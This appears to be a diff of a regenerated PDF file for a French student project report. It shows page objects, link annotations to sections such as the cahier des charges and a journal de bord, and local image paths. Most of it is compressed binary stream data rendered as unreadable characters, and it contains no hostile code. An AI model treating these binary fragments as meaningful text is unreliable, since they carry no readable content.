-/\Ot|fwL-Xp?xsA?Y*fm&Pim^'r3y/s#>3$כ90b]]fֶUv|eaRv.?7}:^iev,Cۘg̚Ebu <>vϮ+kK g,v{kZ=g`E%k.L;c`۸ɚ0߇rY60hkq ֏yhRsq{L [eFy9J[=vu4,Zpqa=\lM1d~?m㽤e0cb_1K -aƘ8]hXqf[|4&_kn>_G_pX hr^^#lw69E XiWXGJ,8 -RՆ||D͑}Vږ=Aޙnl_^O -a.+&/1t9~ n`̶9>S]'2Ul7)~ڲ/^  ꮅ,Ŏ%CɩcWڱĤ`Hgo7￾Ru/u8Su%|u~%1V#gѷqFV\gn45Qpe1/y>;LJ^5<_Jmc _lcO9?%6cp779<>j)>VwX{}+OO_V`h7=zM .x!{j{D賺^LKI mGw>,ZU߿oN$8!}-7XDY?7|qiׇ֯e>|`O;b飳piGa;{g2:o--hcZ vο7壣%Kιj\Fc:rn}xt/{?kU֟_}Y3wTN?yWoo*$ojwhoPoJfޭo7fg%/{-s'7wgwTr>]Mp67. gk?txnXj+ Z[e<ԛX|uzޕڿ0}’r[6PcwX_ݻ\n/<{p~M5|#.Fx^|lF" -endstream endobj 213 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 212 0 R -/Resources 4 0 R -/Annots [ 214 0 R 215 0 R 216 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 336.953622 555.889134 316.283622 ] +/BS << +/W 0 +>> +/Dest (.:notes-de-code) >> endobj 214 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 491.176422 37.466457 478.773222 ] +/Rect [ 55.386457 331.433622 82.786359 317.033622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Prototype.png) ->> +/Dest (.:notes-de-code) >> endobj 215 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 491.176422 557.809134 198.483666 ] +/Rect [ 544.436985 331.433622 555.889134 317.033622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Prototype.png) ->> +/Dest (.:notes-de-code) >> endobj 216 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 198.483666 297.637795 186.080466 ] +/Rect [ 47.386457 316.283622 555.889134 295.613622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/Prototype.png) ->> +/Dest (CahierDesCharges/:cahier-des-charges) >> endobj 217 0 obj << -/Filter /FlateDecode -/Length 8283 +/Type /Annot +/Subtype /Link +/Rect [ 47.386457 310.763622 63.334211 296.363622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:cahier-des-charges) >> -stream -x͝]qEW-132`=H2 kHᇞh HoV7,QZfL#Q<3y9_Rk+9>_~r)inį?r)-[Z]mՋsx1K!,?=鿟K ,g缿$rMpW/<`G]JcJ?%\.-3n+ s|&pq^nsmB0ꯀ+I;.`1'L\c-U2sW0B ƌUD9ʩ؈s^\ Ɯ=^1sE%1\18\\KYO˜Kv*`/`jsňTd&sKƘ5d0bb#c^1cn(*~ -PUlHcFJ*~ -VH2LHN2 ^F`p$*9$?}5?5'At?[P6KcJ Kc("~ oV[< B_1s -@ďGt[< ~X`(*xAĔ%1\K [E`H^ 򋓹u%T`8!E KK*~P}IA P;-R0(qrK@IJ2s&'"[0`p`SN6TnVȰ5X7b ƜPq/* U11C *6P}@2sŏ*6P} YR!t^喀:9P@\?A喀:[ APqgUnE| `P:k5Pq# -7I`XY#BT*6Pq:# -a&[P.B# -zH:$[P*J 1's 6U(+GPq5[PC@2s@`ؕ EW="2@FDUw`jS=:SUn!#3(u07DDA\-uFP=:k#Qqm4#Bp@nM` b#KY2s@ODD[" >QDDW["`h%170*6PC$/iu1TnzDu7N喈:"Z`tX@Dz#פϸYV-ZT(F5 AլzDu0ŪAD,z[PQp BdnA+IŠv-S=:*~PgQAYQ=:J ƜP:3ʗ AĐS=:[zܟU@ e[ bQBDyLIGPciUp3}A|8[ %1WD$AGS?3ۢGPc@ ސ ܰPq- u>Q -9D|P#)N善:,$1;WT9ֲF kR%V#J((N rKBiQ=:pӨrKB9GPqΒ%A*s ` -ͩQBL(%x+܂:XUL2|$#BbǗT(&lHP cY`܂:GP1QAuQ="\4TP:C2H \pKu?2rKFB_e uo{Z_kWY_{/z^_gܯxN~_?v -OO ?RGםy}o;(H4Oy|\?o?߶߿S}rw 8َ&4{RiXOmqx='gMm&o>Am/_|^Y8ft-}ǻEhOyu -kIך=놮_(`v~m R߿Qw(>ngtFmo{?Nt֧d\Nyɦ%t-4h<l\'0l0]Oy>7 H J_3c1%lg$W/ΌúeO|?8nnz],kV߶ɸNgx eqۺ,%`$-̘;ۅtpߓLqƉmoN2ٮ7`z.ĭ"k<yMۉQN5sK.02%>AM1'?FǵrO/~@̗ogXۻTw8z4G|cnxdn?+OegAy{m@?>6<.xPmi*H[@,|=_Y/CLoqbmnR3-6MN?a C~ϊ4MϹ譊5NkW)scBvtmU+z‹{DN8SeXkf5[g$-sMk]027OsЯegw1ܲ=w]Xo5кSz+sXf?O~;ۉ:;1S=ܮ;^ѩo<7v[ tlA41ٻ>'-}{.]^Φ agOaIhsB΂ٍȼ|^x.g_H:ݸl˸x۹83Kkm[k8'a};f?s[}^v)׼{oE6x22}Yi c{嶭['7Tg=X:`[?ٛ /XtA0TMve͟1N6S$qMwV ݻٽImzJT\1s~fm47x}z)wcP4>;Sq|: W{]Iw^ٝ.:Eܪ?Om2ǡqb)4CO.~}vEmt*wԕ5E#v9:$.]olϭ_a _3'o]s'oӢ⫋ﴊ{kN~5'J_VGyTp"nw~JBPNZ!bfBfܿ7v,RdR1[d8 -B=q]#|3#fξa<.zeylw\\׉ۍO)u hn&%7]/'~o֟x?cP>}k}i&1xieԙ[׺=MDžkVV󫿊 -JkC|ji5 Wy=uPa:כ~xlvscn'Ŏem0>^AZ!+ ZG#>o7ž ?[8)O$Gq5߯/6&-o(:m᫕|iʫ`Ckd><蕧K+]+Oc>MAT dro^J'178}zr޾|r -nw.8퇧?aﰮF%N ?](ZdUn#{ߙDb{y'{I{?{?"{=S{={Ǒi{={{}{}EG]]Zxs =$+ݷg.RkHZ_x~bxƧV2E^c)۷)w]( :ZsK߽7.˯Ed[2K"&nB6zk0rv9u!B6fB -endstream endobj 218 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 217 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 310.763622 555.889134 296.363622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:cahier-des-charges) >> endobj 219 0 obj << -/Filter /FlateDecode -/Length 2986 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 295.613622 555.889134 274.943622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:contexte) >> -stream -x\[,~_1˺_`p &8DŽu,h"'ȩ#\N;uZ\u,-??`JYscz ~V[߮;~[DK.ШٮY˦{u/k˵o+{Tޭm-mr69סE&\r_AcXʜu[-'DY4IbZjj6yBa>,xRݸvV\ƥ /ZKnYr*;9RTfIj @njR.|eSs9T/]~T{95jW:q1P֢ <ˡgs٢owrCCK[9g@NAT%֐mǓ}425 -Ff&; `Lt2]RC8܏[]6?fؑ ; @cLZ)y#TZY)ݦ?!F3on~RĭwRJ|89%7iKЊ.W00ejD9&D rQ"@8.6+dz<$-7pG*ޗk3,9'L(観rjQiajo#4?&#S(x!uʾ h=6PWFc29<Oq:LzYdt-9ڈ;Sn`1,FMJ8ԬAQcfYTΒڙX׈DAk0A<ƂMg!ܛ8rLxs4Ek hxVl54̘V0e+mw/qjY&\1s|?~d;_p *, Er 0wVx?qM#͢h}Zjp6CDv~csLptJ+J*ڃM5L$0 d+kE鶡,0v5 u8 tȂB9n8®˹daEE'qqРdž -!fm֐Iڜ2b3ph0]0 dɅ:N l'ś ־ZC$e4+' - 5Gز#j֠HcFʔ3[K!)T7:J&ʖ㍚YHиVO9lCU6 NJvh*#an)gQ(mtWbHCo@ȴm8]xVE<i}ƣuLp! HYF '3y{RĽ$#yo8MHhϰhNڈ2j& 2IxA9@U1^B(y%{.-(ZQ7M ` @# 6"I9$ $>Oc[&Q6GFI 0(x  OG'º?!Na烚qcV)Udf  -s!b`!»s)} $\HDG.D'D4D7}m5",g|l@qd'>"!ѡ8VxL!!-7 խpbAYp6ҎC^*K9Y֪ -Z)T`vyf29Ghvvy5NLf)wNif#v#S5 i$sײ:˽X땃820 -l)jH׋q|L;aTktJ4C 3)Ca^h'ς@xfOb=roeC,U]Yf>]58bPޤzKy.cD.<9;hHh y-DKh>?@XhNG*y;<Cy:dFϐ#,ֶ1k=OǝHnWyk D Gc<#3C(yb {!d -]2נ:^^eљ9{sZTςnX ))+3u&EXi8iŀuI6c1{jn-f%~IdII4YF:_Jh9da' á'X?A8<} K8jY+P0^_'޺o4CvA/ b;W69iQfNqMp)`N@pFhRv? -pz-*}N]7K5iiߜqD&aOۀ$S;8%!^@gL[}| Yl[T $sې8+6OZinCFx7Ke  Ho. YoՊ -A5Ӽ+?!Pyo!rvblhȭ72-l4kF*9;'|p^^:F)vRcLV1A){91[`e}}fYVx=ݱc8k)@9MlUB"i2,&!V<Q4>𑕚GW R,|?|U#d?1J=vɠ>_&y5s/'SW{ͳH,tZ8ۢIIwȻZpW4g7 & V%3Y/phŷ=j)\)$"K -o ۫ Y?Q&}G6mka'cڴFa7/\of<.=#},\}t -.`J}P ޭP9 -$^ BAd7`nw$ >:Pq^ejL"V׷a2p&ji5.rW`beƭZ`2nC8X -U^CP -d;%(ykf=El3'o/"xܡ_5z.Z$܌l]-6VjwhUAr"fz$ROht)CDf~9juM̂]f\B?e0U;N~!ĹvbIF%ͨthaT7ݬ6P\*IuE<}P:R}/y#r2>njGØc`EKF"H-r[:Ory~߮iL4M,ɵ"L)렞]X5@iE ڮq sZ>,:ây+[ idh'pՐ1`P]z+Ӯpc8f*}y̜7yIyDܲ)n(YhxSfTv;,#3;eqF]N`mS O+tpՆFTT́M/Fg8W~'WV -xr t . RgO 9cY- ?D5d S _ -14}=f5tN>U=x[ - `èKYyFwE,/G pH[,0Py:ʕWc0YJ8%!D6R{ю|Y%:5٨aāwLn,qlBMFިCo[Y }i@/ޕw&=]ygU1;#!h#\q)KjB:§ʧJZUоH3I c.7BvT>0vk6"Ƶ|`!tAPhJt7\73E{/ZIZ.@U[*=`#Fw$]]i1YL@zY#Ld8q_O̤ w11}do/B~U¿793fb5^oY}?f'~d W])3U47W!a]2K=H#:Ufv_O`עpEw~~Q}XX\ZܥcMN`xc wq[;urW&0Qnddq1z2:kwψLhJ9)X`I&n&҇?LK5a -"dl$vH:A=x6wN&B*Ma_ -\M>ֿH.}a1,?rzDى1zObTRx0rJOzm&XA*XxQٜ?ؙωgg -~y"\r$=8> +/Dest (CahierDesCharges/:projet) >> endobj 223 0 obj << -/Filter /FlateDecode -/Length 8183 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 269.423622 77.060285 255.023622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:projet) >> -stream -xݝ]$uW̵$ ,1A@mF yY]U]NJOWUzFioUJO/}ӻV҂V`};](Ғ/[T\9'CRû?w[YR˓sߒkNoygw[>5ǔJ!޼O)ژO(9-row[;VgU8L0N-/sp/έK=q<}cZӇLϟ8^C+/-@ҭeB -Zs.F2B<[BN hnIuQ[R4.!+ͭgF hnGE!hnmD*\"*涚ZE4e Y˒bTHRVoO^} b*"܂;$Kɠɮ b-hwщ@ -$6WshsXR |Uiy9Im%;H`ZVy9$6易J&.ͱ*HfT()߫hsByS漸*9{^1hsE%\*\\AKYOBKv*ShsM斌6#kɠ^FF+b -PUޫ(h3*~ ڌTLG|en d<I&qH*~jB,s j 5''{Q*/[Pٖ ڌ-hȭwKm("~0!oV[< B_1hs @ďGt[< ,df[< rbʒAcQ -έ-u%< ڌDxA,y-5:|TnwImF9m*~P]@ f9)uT"y'+uQ]YJ0xAWSVţ:LId9A䩘:UA0P:7 ZUsAΊ`0P:TɠU ܂:4df${Z KAqA A䗖$6T->` 9` '"w[`P,%6crK@IJ2hsP-8`1ɠ)'ULM*7䅪6 ΠS0HmΘ -XA*ucgH1hs@F-HmxbuאP@\joN0իP1 -uQ:Tn xQ@*܂A| `0P:Un EFR:09u0`!`0P:qQ@8j50܂:0Q@  ׌}!܂:gQj(b9[Pq XQ{Duc܂:"A#*~PCG@jK&0؈?Ya 6GQq)-u0ddŠ{-ucQ1h3V*DA\`0)DlDP1%6WDDA}P%"#rKD Y2h3W{DR08*6PC?7ĴWu1Tn" N_%6;D0P:xj("^bַRdnAjQ{Du0zTl"fGQc*V b܂: j`0gLoJ1T `ߎu0`j("Μ#(s ⬨=:J0 ڜ1P:3ʗ AĐS{D uo:*$APS{D uݫg0%=~C,=","6w %6WD$AGS%mQGPc@ A"~ }P%gGPq`bTnIi4J2hsE?'Rw`ju5ܒPq]#J((N?0*- uӢ`¢Q善:kQB5Kj(U[PShN%1re[P#BjS-x1="$[}I%WenAL sŠb2sB;2\{GPq-8EaR@ dnAL&`Iu2rKFyj(<[2`BFP{DuKF2`jPS@2hs@0:sUnɨ8GYeArKCd;x0ɨy@FFDGQQ)rKQFy[2`}C1hGԫAD[n[A*~Pѷr -r@ aQ{Du^QFD-uNj(U?gu0="B"s `N=:6yGQѦ$s TQFsyO+\0P:Q*QFs<2 >/=:+2fdgG -QsmYA2 TnA#*8VQ{Du+E,)` -s?j@ouߡ-yFWQÙTw=LTn)Ż - SsA_r &5`jT{Du-u#*6uTl9bP j@0go?rnj%&LA:~,hLOxxڍG?usN#ϓPOG?qv%b#PlPB1!%b#Pl F(%b#PLdH(6B F(%PBJ(6B F($`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %`(`($J("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b2"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(6(`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %`(`(L`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(L"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(&3I("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3P2PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PLfPC E0PC E0PlfH("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(&3I("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %y^Pٯ" )ƣ1=e<}8}9b?OBp%>}O2=xK(6B F(%b"CBJ(6B F(%PBJ(6B F(ȐPlPBJ(&2$b#PlPB1IB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`($`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PLfPC E0PC E0PlfH("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(&3I("J("J(63$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %$PB %PB %`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %`(`(L`(`( E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC E0PC E0PlfH("J("J(63$PB %PB %`(`( E0PC E0PC d& E0PC E0PC f"J("J(b3CB %PB %PB!`(`(̐PC dҿFܫ5U$fnς􏧧Q6xƷ[=5ZGW[<=U ,Z}X 7c6__Oߟ%Ƨ?o #y/v?xNk=wo K sLK{nc"ޛe;xe>mx9?^ۏ=>}n;=hg}_qvϯCS~^ѧxo8#?\?|v`T~τruҖO[F  İnzA:"Nn=ay OE='埿_mbܮ7!;ykzxKASiIU_qzeCzOރoB +,/{\6ps7ӋF4.KR9ilg^t2RzL!GVJSͩszd4z{Z\ϛnC*Js\Fև?M%t9?~d~:1/VOyPw`<.zr= ؉PK1LaϫcvZ<5Ny{3;(Yen588:H_ r.Z 2es ?U8_?AAƍl}[|}HNmkz|;PM!({3r]"RCXg8.|ֶ|b@m[צrl)tNqڸ _Q.Uڂplz}~!>Bkiv(SXuz~iԣ>$yiW5] )0tP,HگFFÔ:s8VvAԇ}1e6vY{yd!ec󳖝=xe}_ꡐ3W59>!)|;8b{y\ -ϵD̼vR3q~Vj>eNd~妉jg/c͔}~}ZggkaEgOh;C_MOj+ nLoe=y1~f;]}pr66#p=v^y 񂞳]sbb…92F 1!x/D[}V|9ԖմsO!v{}Ӕ!">s]x9u׆9?܌S;Oi͗554+= -߻}{N9Ȩ}눌}UtE&uLF4]+>9q3gG7B?WS* JKh-ԥ>+}xYY΋*\|߃9g]Db}@L{ `Ӭg=]COݸtn8Z5{VSC6>c^!q4;{k\+˔WiN\/n'_c3/]x=H|yX1siT bUS[Z fa*ص>5k8:͙yT|ۧ5$OxL 0)]i6̟?CE%Wű=Eo)-3F/죙b1K5-M+޽y66˴dր+-16KK ӯwƦ[ ʇ7obpza~0_ً+{X^WƛTf4?(G{^.>ZG7|gZn߈x,..ξ7BbmAow_Uuc}մ5|gr3O߽~]7+p\nh:,4n/:ch"kc^Lg_ɫoKx<_]m lr؞qN6KkNY7.Νo<w[ mosS<57Cw#oڂgBq~HJ};Hb鿉_E޿V7| /qO?:.@Sq%'W#[suߏX/CPVOORj?NO)ד'r~|/o@7quoTOE)UPޯbWvg -endstream endobj 224 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 223 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 269.423622 555.889134 255.023622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:projet) >> endobj 225 0 obj << -/Filter /FlateDecode -/Length 1487 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 254.273622 555.889134 233.603622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:realisation) >> -stream -xXK4W!怀eA !tg,_첓cݚnVTWA(%H?}_~sIh?)]BMì>wYQѦ}m.ɌYRh@lΰs<ݯqNgo7 o˼~7+;#|TlDiE1j_~Ӥ0ƥ??>yszD(#sF ցD՘0* Tu;xk -\Yu>X2͌<t$Nc9B8]33 nD%nN@1 ;;篛Pxna[#]a[g)uiFY=Mلy{81 ){&os].2kx?qIsSR7.}a9) -,-ߔgD~7y%GErCF*᛭qy=Y⳥.র#تl3W$hRdƃkSa1Qš`ZҎX(KLk"ؕ9w$/f;>M3ǡ`#ܓTc8h^h$Y|VE*n{m xhU] 0?`dyuм,:Ζ׆v^A|FV$ovqsg+gAE9b""ENv,CS>/oEZ$:{v#@,}GH|A@.1U -i~$x_݆;~y;x^Q <#)D6Eg;Ny[Q2vwtn.y@ة6fwsA7}/BA0-ST'pi2TwF$C5 2j.eXhsnpmy^Er ֍0]܌rƹ™Kdfzx(w}(#QHa| (+CN3Jy;X -endstream endobj 226 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 225 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 248.753622 77.060285 234.353622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:realisation) >> endobj 227 0 obj << -/Filter /FlateDecode -/Length 2389 +/Type /Annot +/Subtype /Link +/Rect [ 544.436985 248.753622 555.889134 234.353622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:realisation) >> -stream -xZۮ+ }W0)@biQ3>E*iD͒FIsv{.)j\8Z0xę3_gI~?s%97"P;}ұ}5v=ږkO2^oc8˯۱0GA>N9IN=] -*XX,zpw2oA>Z{e<ܼ%-c[<ԫp]i:GhJ~8f2]q~vHPI*67ze60lWo@F[{TM߫|L;QAn\˘P5Ei]^aQd4ݗ Rϩrn)r֢kA -sT\Y. is\0R(B@pIjH29b҆B rOBGu @NYm\X.۱'U#bn,k*Bb{#\"e&"6i ]x=Ne)goYs;x/6=/pƅbz'd/BV).h1JanQ9O`:ҟgjsEH&),m13 L"L=Ѡ>< Ϧ98No/ud^F] {.< wR2o7 I3CUJj8q6E۔ٍR]?"}FQ2Rɜ𯜝%;fq>Cm07ASohui3W9΅]:7* 4ԪSz~%Z ݕAZPX}$$@k$p\8Gk}W񠎪UrreW^` JUq~-^ }*y\^M*צӼRŭ5ѓh"wB13D#Fi <~<cv#"9-5zcnWU(ͧgs#CC@Q '; 0%HA(5ha0L/z]hJD5o.!ATw?4Jd; yS@xX1mʕ7"{'OXĭ[2Bkȝ O$> +/Dest (CahierDesCharges/:cas-dutilisation) >> endobj 229 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 693.503622 37.466457 681.100422 ] +/Rect [ 55.386457 228.083622 77.060285 213.683622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ScreenF1TvData.png) ->> +/Dest (CahierDesCharges/:cas-dutilisation) >> endobj 230 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 693.503622 557.809134 400.810866 ] +/Rect [ 538.710911 228.083622 555.889134 213.683622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ScreenF1TvData.png) ->> +/Dest (CahierDesCharges/:cas-dutilisation) >> endobj 231 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 400.810866 297.637795 388.407666 ] +/Rect [ 55.386457 212.933622 555.889134 192.263622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ScreenF1TvData.png) ->> +/Dest (CahierDesCharges/:difficultes-techniques) >> endobj 232 0 obj << -/Filter /FlateDecode -/Length 3298 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 207.413622 77.060285 193.013622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:difficultes-techniques) >> -stream -x\n#}W 00 M`IAGJ-VFln!O.r{֡{K"5IDX*nJiί?>߾OWEz?.14Qt܄\kz܏ zr]_翥-7/Ϻ}V^j߲Km,\2\jUVR;U*;m`:f2*sLˮo]n8su&s:$g ^csܠb Tg ܔSm111TA$Iu0Xa(wPX̗+2k`jsh ( -2\W0ԯ[qq0s)48G`%>BQϋ fјGMeŹeߠM(F 0ft0BSG>FnD}Q#tMmHDzIm;y"esN"7pXVaX=v'Dz9Q`:[l*ihFYc =Z\;B,@A͋ H;LI"<`EM2PDV3{O%|Hfcⲣ+}h]ϝEde'(ءβیvs-4i"VW)ֿbz+%MV5Z\E!dV+FUaV8J o XޢzN[^ts -ǃialÄXepA -<[[b#:| ku ԣfQ r3њu])ma[NJEgtun#Q[Gjm0"7ƫtjg]T2DAˁ$eoGZ`C7n#j똼qZtwdv4Ŵ>CQ>*&ɗ -j'"րusgu>jv8BbdʩAzDTviֻEiXU9s5Ycf8ܥwХ"/fhיs436NYoff*ۼ75{样3&4UN`…3s%|qv%z>Y^ -m cנ!cC-? 'u]Ʌ,#lO"G:SnHJl m^g,Z<-1WLt1'L)(}aݍ{(5Rb ܣ}ȸ81GTOM7wFeCGUp4RMm򷯧;% 1(?* r{h[WzE j݅v6hfWUF/οO92n )89{MLUpL4zDlg%\)?,\|z+{B\Hdu)OdL~Lںf(.y 'xNÂ!8dT\=M{5UFg5@ lU6-)pV{AO9\PYl|#ԜTdkU9/[PoϝC&RפmhdR,Bʤw8m協"p SYv5@u]hrsHzmϣ\[DӸϏń2۟ -Mj>+$Z l{pJ )Q}Lu(޵؂yQE{ҕ쌔;,WAwY>% ?q;}ɌCi5uu6۠pIBf(d' \ЮTIP-N,Im0:21xM\diO?хԻnR^^':U^۔ct}^mn@o؝ld9BsQ' z|$zs rAwHiaquܐxk n}~bۺ"P$SE㍶<[?f@ײA`U^r([BW2]y=u?Nsw~|6/]z}oQ]o;< 5hZKo{ctP[&׏GS=;kd@~PXK87;<~;s7;:C3sP~w.{?P9%يxEIŽQ^ -zxO(PN䘲,OI%DSL.6ъuey -^׺!vq:p|H H(w}2!Rl& S~g -endstream endobj 233 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 232 0 R -/Resources 4 0 R -/Annots [ 234 0 R 235 0 R 236 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 538.710911 207.413622 555.889134 193.013622 ] +/BS << +/W 0 +>> +/Dest (CahierDesCharges/:difficultes-techniques) >> endobj 234 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 386.478822 37.466457 374.075622 ] +/Rect [ 47.386457 192.263622 555.889134 171.593622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ChromiumLogo.png) ->> +/Dest (jdb/:journal-de-bord) >> endobj 235 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 386.478822 112.466457 311.478822 ] +/Rect [ 47.386457 186.743622 63.334211 172.343622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ChromiumLogo.png) ->> +/Dest (jdb/:journal-de-bord) >> endobj 236 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 311.478822 297.637795 299.075622 ] +/Rect [ 538.710911 186.743622 555.889134 172.343622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/ChromiumLogo.png) ->> +/Dest (jdb/:journal-de-bord) >> endobj 237 0 obj << -/Filter /FlateDecode -/Length 2766 +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 171.593622 555.889134 150.923622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mercredi-29-mars-2023) >> -stream -x[Y~ׯ06f'AXA- @lYd-y$],-qN^ }pVOΜ/hsHgA3gBp`P)fRy=CλR2#&χgѺ<5 XXʑ)eO?A|=y5{ _K u,3^^y3@ϸ<2m~}LayL_3-Ey㉿}suYyNr2+.ӊ<$Zf]3LUy4ɼ>i5|>DK_:\+~WYHdQ]QΟtz0nb(dĒf.f6G DYx]naFae%O SWڨĿUhPPf%UAt!öHHi\CNB -@Vy =7\U1efHLfJg2X0+1lR8\XdX~Z.^׳:-"^%z]^9 \o -yUGi^U'4[0G ԄqJ--|-ΜTjRu|j;^d*Π7Jk؉@A>2*9W'[=,3riѽ,S2; $w~-ITf0vsG9kjN"i[T;"L 27I:F/QkS fr%_8˜ - "sI!:F $t+8iaw -_ya ҝ0!tz%p*z?Ɍ=I9);MfPGLg.3`5#=aAk 2[I?R?tE6BHc u  $@N$٧@ p&y .)DZ씤ܴQ} 8$%*<a*M2o7cᭉ(.Zm2NbK\5V']o粲Q6xQE>KsC$az4?Mb@9Tv& bZK遍PL:MʝM&5T6 H{#)/d )'Y&'Ċ6 -DFYE,~$Nň kl{=1HA!yU^QdV=YzC>I- S űKub74H hIg M)=NEŚ@^ Q[m>qn4M>VIk~R9hD#H QnoZy$FmYiYpo%ie>V:j^;a6J{ؔ D(3 AOW)u@aWk8]ʨCGΗ4L|}!rPNyA\ 3n&ϙ qO~ktgi5iGtZFvOd4}[[O t FF%$KR R_ǜ/)t}2O=MgHM"˘nKz41IBWbvTѷn0gyx0KYjt+-j뛸9mwvo-#q!a%=D@> IIþb9GF W⍎ws#ėZ:LIZ˜bYe}JL)dqZ>{{w}y\Z3P:dY?􆃯1+0t~0kSVeM4r.vⲾPT5WW[ݒ#7.acZ;5 qntO[U (扇'=ʦw5 у Mk"GBk vہW78Ra n~"(˸hQu~*i,w=1AwPI ,x|c'^t7`iY0oBStYoBSRYpoB[YoBSBYoBSY8! M7gv,E֜& 9+sД$Фސ&g6J~9Mmr6yhl)>3\ލ`ڭtcA??LJca\1N8ߌh遌oe0Jeu1gM {°gZuHr$:`Udf'kɑ>6u?"DLW !AAV_=p,7SL -$A(Hl4GxZ݂Պ'wGH!.OJBR++I: сԣRZXRQtUEz:7JӝtN"VCs-%CgB'UV(M?_X-d7^֗xy-+<{j֞Y*)0JxZqafTXRh` XUחY\RBw/8r04pڊ.0ϕri̟kr`a{AȔr#0__ wY~}`6x -endstream endobj 238 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 237 0 R -/Resources 4 0 R -/Annots [ 239 0 R 240 0 R 241 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 55.386457 166.073622 77.060285 151.673622 ] +/BS << +/W 0 +>> +/Dest (jdb/:mercredi-29-mars-2023) >> endobj 239 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 726.062022 37.466457 713.658822 ] +/Rect [ 538.710911 166.073622 555.889134 151.673622 ] /BS << /W 0 >> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/FirefoxLogo.png) ->> +/Dest (jdb/:mercredi-29-mars-2023) >> endobj 